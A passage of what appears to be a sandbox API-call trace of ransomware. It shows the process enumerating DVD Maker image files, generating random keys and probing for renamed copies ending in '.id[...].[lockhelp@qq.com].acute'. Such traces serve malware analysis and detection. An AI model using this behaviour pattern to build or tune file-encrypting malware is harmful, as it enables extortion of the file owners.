maker\\shared\\dvdstyles\\memories\\btn-previous-static.png")) returned 0x20 [0274.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.421] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.421] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2374) returned 1 [0274.421] CloseHandle (hObject=0x37c) returned 1 [0274.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png")) returned 0x20 [0274.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.422] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.422] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27581) returned 1 [0274.422] CloseHandle (hObject=0x37c) returned 1 [0274.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png")) returned 0x20 [0274.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.422] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.422] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2899) returned 1 [0274.422] CloseHandle (hObject=0x37c) returned 1 [0274.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png")) returned 0x20 [0274.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.423] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.423] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10888) returned 1 [0274.423] CloseHandle (hObject=0x37c) returned 1 [0274.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png")) returned 0x20 [0274.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.423] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.425] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=108525) returned 1 [0274.425] CloseHandle (hObject=0x37c) returned 1 [0274.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png")) returned 0x20 [0274.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.425] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.425] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=20346) returned 1 [0274.425] CloseHandle (hObject=0x37c) returned 1 [0274.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0274.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.428] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.428] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=233668) returned 1 [0274.428] CloseHandle (hObject=0x37c) returned 1 [0274.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0274.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.429] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.429] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4968) returned 1 [0274.429] CloseHandle (hObject=0x37c) returned 1 [0274.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0274.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.429] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.430] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3143) returned 1 [0274.430] CloseHandle (hObject=0x37c) returned 1 [0274.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png")) returned 0x20 [0274.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.430] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.431] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4842) returned 1 [0274.431] CloseHandle (hObject=0x37c) returned 1 [0274.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png")) returned 0x20 [0274.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.431] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.431] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.431] CloseHandle (hObject=0x37c) returned 1 [0274.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png")) returned 0x20 [0274.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.432] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.432] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.432] CloseHandle (hObject=0x37c) returned 1 [0274.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.432] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.433] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.433] CloseHandle (hObject=0x37c) returned 1 [0274.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png")) returned 0x20 [0274.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.433] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.434] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.434] CloseHandle (hObject=0x37c) returned 1 [0274.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.434] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.435] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.435] CloseHandle (hObject=0x37c) returned 1 [0274.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png")) returned 0x20 [0274.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.435] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.435] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.435] CloseHandle (hObject=0x37c) returned 1 [0274.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff 